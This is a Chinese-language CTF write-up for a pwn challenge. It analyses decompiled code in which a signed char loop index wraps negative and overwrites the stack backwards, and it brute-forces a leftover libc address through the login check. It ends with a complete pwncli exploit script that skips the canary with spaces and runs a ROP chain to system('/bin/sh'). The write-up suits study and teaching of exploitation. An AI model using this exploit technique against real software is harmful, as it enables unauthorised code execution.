题目情况
Such an innocent binary, what could possibly go wrong?
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
逆向分析
main：
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+7h] [rbp-A9h]
int n3; // [rsp+8h] [rbp-A8h] BYREF
int size; // [rsp+Ch] [rbp-A4h]
_BYTE entry[152]; // [rsp+10h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+A8h] [rbp-8h]
v8 = __readfsqword(0x28u);
v4 = 0;
setup();
banner();
while ( 1 )
{
menu();
if ( (int)__isoc99_scanf("%d", &n3) < 0 )
{
puts("Something went wrong.\n");
return 1;
}
if ( n3 == 3 )
return 0;
if ( n3 > 3 )
break;
if ( n3 == 1 )
{
size = register(entry);
if ( size < 0 )
return 1;
v4 = 1;
}
else
{
if ( n3 != 2 )
break;
if ( v4 != 1 )
{
puts("You need to register first.");
}
else if ( login(entry, size) )
{
puts("Good job! :^)");
}
else
{
puts("Invalid username! :)");
}
}
}
puts("Invalid option.\n");
return 1;
}
1和2，2个选项，分别调用register和login函数
register函数返回size，供login函数使用：
__int64 __fastcall register(char *entry_)
{
int size; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("{i} Username length: ");
if ( (int)__isoc99_scanf("%d", &size) >= 0 )
{
if ( size > 0 && size <= 128 )
{
printf("{i} Enter username: ");
getInput(entry_, size);
puts("Username registered successfully!");
return (unsigned int)size;
}
else
{
puts("Invalid length.");
return '\xFF\xFF\xFF\xFF';
}
}
else
{
puts("Something went wrong!");
return 0xFFFFFFFFLL;
}
}
size是自己输入的最大输入128
调用getInput获取输入：
unsigned __int64 __fastcall getInput(_BYTE *entry_, int sz)
{
char buf; // [rsp+16h] [rbp-Ah] BYREF
char i; // [rsp+17h] [rbp-9h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; sz > i && (int)read(0, &buf, 1uLL) > 0; ++i )
{
if ( buf != ' ' )
{
if ( buf == '\n' )
return v5 - __readfsqword(0x28u);
entry_[i] = buf;
}
}
return v5 - __readfsqword(0x28u);
}
此处的索引i是char类型，一次读取一个字节，索引不超过size就继续读取
通过数组+索引的形式保存到缓冲区
如果输入是空格，就跳过该索引，不写入数据，索引依然会+1
login函数:
int __fastcall login(char *entry, int size)
{
char s1[152]; // [rsp+10h] [rbp-A0h] BYREF
unsigned __int64 v4; // [rsp+A8h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("{i} Username: ");
getInput(s1, size);
return strncmp(s1, entry, size) == 0;
}
这里使用login的缓冲区来读取输入
利用分析
在getInput里的判断：
for ( i = 0; sz > i && (int)read(0, &buf, 1uLL) > 0; ++i )
这里的sz是int类型，这里的i是char类型
当sz的值为128的时候，i始终无法自增到128，从而导致溢出
对于char类型，127+1 = -128
保存的时候，数组索引就会变成负数entry_[i] = buf;
缓冲区原本位于login函数，反向溢出覆盖getInput函数的返回地址
对于canary问题，通过空格就可以不覆盖直接跳过
对于地址泄露问题，因为register使用的缓冲区是未初始化的缓冲区，里头存在遗留的libc地址，通过设置register的size，以及利用login的判断，就可以进行爆破获取，类似爆破canary的流程
例如这里的libc地址位于偏移0x70处，那我就设置size为0x71，输入0x70个A，登录的时候输入0x70个A加上一个字符进行爆破
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# bruce force the libc leak
addr = b""
for i in range(8):
# register
sla(b"-> ",b"1")
sla(b": ",str(0x71+i).encode())
sla(b": ",b"a"*(0x70) + addr)
for c in range(256):
# login
payload = b"a"*0x70 + addr + p8(c)
sla(b"-> ",b"2")
sla(b": ",payload)
res = rl()
if b"Good" in res:
addr += p8(c)
success(addr)
break
else:
continue
addr = u64(addr)
log_address("libc leak",addr)
libc.address = addr -0x1f0fc8
log_address("libc base",libc.address)
# ROP
# register
sla(b"-> ",b"1")
sla(b": ",str(128).encode())
sla(b": ",cyclic(128))
# login
payload =b"a"*0x80+ b" "*0x68 # bypass the canary
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
payload += rop.chain()
#payload = b"a"*0xa8 + pack(0xdeadbeef)
sla(b"-> ",b"2")
sla(b": ",payload)
ia()
总结
利用整数溢出问题完成反向栈溢出，利用未初始化缓冲区爆破地址泄露，都是些不寻常的玩法，真有意思